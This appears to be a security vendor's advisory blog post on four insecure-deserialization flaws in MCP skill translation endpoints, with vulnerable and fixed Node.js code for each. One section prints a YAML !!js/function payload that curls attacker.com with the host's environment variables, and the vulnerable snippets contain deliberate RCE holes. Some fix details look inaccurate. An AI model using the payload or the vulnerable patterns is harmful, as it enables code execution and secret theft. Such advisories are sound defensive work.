← Blog

Claude MCP skill insecure deserialization — skill localization and i18n translation pipeline endpoints (SA-SKL-DESER57)

SA-SKL-DESER57 identifies four insecure deserialization vulnerabilities in MCP skill registry skill localization and i18n translation pipeline endpoints. YAML DEFAULT_FULL_SCHEMA deserialization of Redis-stored translation workflow configuration achieves RCE at every translation job completion via !!js/function; BSON Code type deserialization of MongoDB-stored translation memory triggers eval() during every translation memory lookup; MessagePack deserialization of Redis-stored translation event queue payloads enables __proto__ pollution that disables translation API authentication across the worker process; and node-serialize deserialization of cached translation result aggregations achieves RCE at dashboard render time reachable from any user viewing skill localization status pages.

SA-SKL-DESER57 findings at a glance
CRITICALDESER57-001 — translation workflow config reads from Redis as YAML via yaml.load() DEFAULT_FULL_SCHEMA — !!js/function in translationConfig.onComplete achieves RCE at every translation job completion triggered by any locale submission
CRITICALDESER57-002 — translation memory model reads from MongoDB as BSON — BSON Code type at normalizationFn field triggers eval() during translation memory lookup for every string needing translation
CRITICALDESER57-003 — translation event queue stored in Redis as MessagePack — __proto__.skipTranslationAuth:true pollutes Object.prototype, disabling authentication for all subsequent translation API requests in the same worker
CRITICALDESER57-004 — translation result aggregation reads via node-serialize — IIFE gadget achieves RCE at aggregation time reachable from any user viewing skill localization dashboards

DESER57-001 — YAML DEFAULT_FULL_SCHEMA RCE via translation workflow config

Translation workflow configuration is stored in Redis after being set by an admin configuring the localization pipeline. When the translation worker reads this configuration using yaml.load(raw, {schema: DEFAULT_FULL_SCHEMA}), the YAML parser's DEFAULT_FULL_SCHEMA permits JavaScript-specific types including !!js/function. An attacker who can write to the Redis key (via a Redis SSRF, a compromised admin session, or a lateral movement pivot from another compromised service) can inject a !!js/function payload at the translationConfig.onComplete field that executes arbitrary Node.js code every time a translation job completes — which happens for every locale submission by any user.

Vulnerable
// DESER57-001 — VULNERABLE
const yaml = require('js-yaml');

async function getTranslationWorkflowConfig(skillId) {
  const raw = await redis.get(`translation:config:${skillId}`);
  if (!raw) return null;
  // VULNERABLE: DEFAULT_FULL_SCHEMA allows !!js/function
  return yaml.load(raw, { schema: yaml.DEFAULT_FULL_SCHEMA });
}

// later in translation job completion handler:
const config = await getTranslationWorkflowConfig(skillId);
if (config.onComplete) {
  await config.onComplete(jobResult); // !!js/function triggers RCE here
}

Attack payload — DESER57-001: An attacker with write access to Redis stores this YAML string at translation:config:target-skill-id. At the next translation job completion for any locale submitted to that skill, the Node.js process executes curl https://attacker.com/rce.

# DESER57-001 — ATTACK PAYLOAD (stored in Redis)
onComplete: !!js/function >
  function (result) {
    require('child_process').execSync(
      'curl -s https://attacker.com/rce?host=$(hostname)&env=$(printenv | base64)'
    );
    return result;
  }
locale: en
targetLocales:
  - fr
  - de
Fixed
// DESER57-001 — FIXED
const yaml = require('js-yaml');
const { z } = require('zod');

const TranslationConfigSchema = z.object({
  locale: z.string(),
  targetLocales: z.array(z.string()),
  // FIXED: onComplete is a named strategy string, not a function
  onCompleteStrategy: z.enum(['notify_owner', 'trigger_review', 'auto_publish']),
  maxConcurrentJobs: z.number().int().min(1).max(20).optional(),
});

async function getTranslationWorkflowConfig(skillId) {
  const raw = await redis.get(`translation:config:${skillId}`);
  if (!raw) return null;
  // FIXED: FAILSAFE_SCHEMA rejects all non-JSON types including !!js/function
  const parsed = yaml.load(raw, { schema: yaml.FAILSAFE_SCHEMA });
  return TranslationConfigSchema.parse(parsed);
}

DESER57-002 — BSON Code eval() via translation memory model

Translation memory entries in MongoDB store normalization functions as BSON Code type objects. When the MongoDB Node.js driver deserializes these documents with default settings, it converts BSON Code values to JavaScript Code wrapper objects that the application subsequently passes to eval() as part of applying the normalization function to string candidates during the translation memory lookup hot path. This triggers arbitrary code execution for every translation memory lookup, which runs on every string submitted to the translation API by any user of any skill that has translation memory enabled.

Vulnerable
// DESER57-002 — VULNERABLE
const { MongoClient } = require('mongodb');

async function lookupTranslationMemory(skillId, sourceString) {
  const entry = await db.collection('translationMemory').findOne({
    skillId,
    sourceString,
  });
  if (!entry) return null;

  // VULNERABLE: entry.normalizationFn is BSON Code; eval() triggers RCE
  if (entry.normalizationFn) {
    const normalizer = eval(`(${entry.normalizationFn.code})`);
    return normalizer(entry.targetString);
  }
  return entry.targetString;
}
Fixed
// DESER57-002 — FIXED
const { MongoClient, BSON } = require('mongodb');
const { z } = require('zod');

const TranslationMemorySchema = z.object({
  skillId: z.string(),
  sourceString: z.string(),
  targetString: z.string(),
  locale: z.string(),
  // FIXED: normalizationStrategy is a string enum, never a function
  normalizationStrategy: z.enum(['trim', 'lowercase', 'title_case', 'none']).optional(),
});

async function lookupTranslationMemory(skillId, sourceString) {
  const entry = await db.collection('translationMemory').findOne(
    { skillId, sourceString },
    {
      // FIXED: promoteValues:false prevents BSON Code → JS Code promotion
      promoteValues: false,
      // FIXED: select only needed fields; never retrieve normalizationFn
      projection: { targetString: 1, locale: 1, normalizationStrategy: 1 },
    }
  );
  if (!entry) return null;
  const validated = TranslationMemorySchema.parse(entry);
  // FIXED: normalization via named strategy lookup, never eval()
  return applyNormalizationStrategy(validated.normalizationStrategy, validated.targetString);
}

DESER57-003 — MessagePack prototype pollution disables translation API auth

Translation job events are queued in Redis as MessagePack-encoded payloads. The @msgpack/msgpack deserializer by default does not reject keys named __proto__, prototype, or constructor. An attacker who can inject a crafted MessagePack payload into the Redis translation event queue (via Redis SSRF or lateral movement) can include __proto__.skipTranslationAuth: true, which pollutes Object.prototype in the worker process. Any subsequent authentication check that tests if (!req.context.skipTranslationAuth) will evaluate as if (!true) — skipping authentication for all translation API requests in the same worker until it restarts.

Vulnerable
// DESER57-003 — VULNERABLE
const { decode } = require('@msgpack/msgpack');

async function processTranslationEvent(rawPayload) {
  // VULNERABLE: decode does not reject __proto__ keys
  const event = decode(rawPayload);
  // If attacker injected __proto__.skipTranslationAuth:true,
  // Object.prototype is now polluted in this worker process
  return handleTranslationEvent(event);
}

// In auth middleware — now trivially bypassable:
function requireTranslationAuth(req, res, next) {
  if (!req.context.skipTranslationAuth) { // evaluates as !true → false → skipped
    return verifySessionToken(req, res, next);
  }
  next();
}
Fixed
// DESER57-003 — FIXED
const { Decoder } = require('@msgpack/msgpack');

const decoder = new Decoder({
  // FIXED: use Map as the default object type (no prototype chain)
  useRecords: false,
});

const FORBIDDEN_KEYS = new Set(['__proto__', 'prototype', 'constructor']);

function sanitizeDeserialized(obj) {
  if (typeof obj !== 'object' || obj === null) return obj;
  for (const key of Object.keys(obj)) {
    if (FORBIDDEN_KEYS.has(key)) throw new Error(`Forbidden key: ${key}`);
    obj[key] = sanitizeDeserialized(obj[key]);
  }
  return obj;
}

async function processTranslationEvent(rawPayload) {
  const raw = decoder.decode(rawPayload);
  const event = sanitizeDeserialized(raw);
  return handleTranslationEvent(event);
}

// FIXED: auth middleware uses Object.prototype.hasOwnProperty.call
function requireTranslationAuth(req, res, next) {
  const skip = Object.prototype.hasOwnProperty.call(req.context, 'skipTranslationAuth')
    ? req.context.skipTranslationAuth
    : false;
  if (!skip) return verifySessionToken(req, res, next);
  next();
}

DESER57-004 — node-serialize IIFE RCE at translation result aggregation

Translation result aggregations are cached as node-serialize-encoded strings. The node-serialize library's unserialize() function is known to be exploitable via immediately invoked function expression (IIFE) gadgets: any string value matching _$$ND_FUNC$$_function(){...}() is eval()d at deserialization time. An attacker who poisons the aggregation cache key executes arbitrary code every time the translation aggregation result is rendered — which occurs on every page load of any skill's localization dashboard.

Vulnerable
// DESER57-004 — VULNERABLE
const serialize = require('node-serialize');

async function getTranslationAggregation(skillId) {
  const cached = await redis.get(`translation:agg:${skillId}`);
  if (cached) {
    // VULNERABLE: node-serialize IIFE gadget achieves RCE on every cache hit
    return serialize.unserialize(cached);
  }
  const agg = await computeTranslationAggregation(skillId);
  await redis.set(`translation:agg:${skillId}`, serialize.serialize(agg), 'EX', 300);
  return agg;
}
Fixed
// DESER57-004 — FIXED
const { z } = require('zod');

const TranslationAggregationSchema = z.object({
  skillId: z.string(),
  totalStrings: z.number(),
  translatedByLocale: z.record(z.string(), z.number()),
  pendingReviewCount: z.number(),
  lastUpdatedAt: z.string().datetime(),
});

async function getTranslationAggregation(skillId) {
  const cached = await redis.get(`translation:agg:${skillId}`);
  if (cached) {
    // FIXED: JSON.parse + Zod schema validation; no code execution possible
    const raw = JSON.parse(cached);
    // FIXED: detect and reject _$$ND_FUNC$$_ payloads before Zod parse
    if (JSON.stringify(raw).includes('_$$ND_FUNC$$_')) {
      await redis.del(`translation:agg:${skillId}`); // evict poisoned entry
      throw new Error('Poisoned aggregation cache entry detected and evicted');
    }
    return TranslationAggregationSchema.parse(raw);
  }
  const agg = await computeTranslationAggregation(skillId);
  await redis.set(`translation:agg:${skillId}`, JSON.stringify(agg), 'EX', 300);
  return agg;
}

SkillAudit detection: Run SkillAudit on your MCP skill registry to automatically detect DESER57-class patterns. The scanner flags yaml.load() calls without schema restriction, MongoDB queries without promoteValues:false, MessagePack deserialization without prototype key rejection, and node-serialize.unserialize() calls — producing a graded report with file locations and remediation guidance.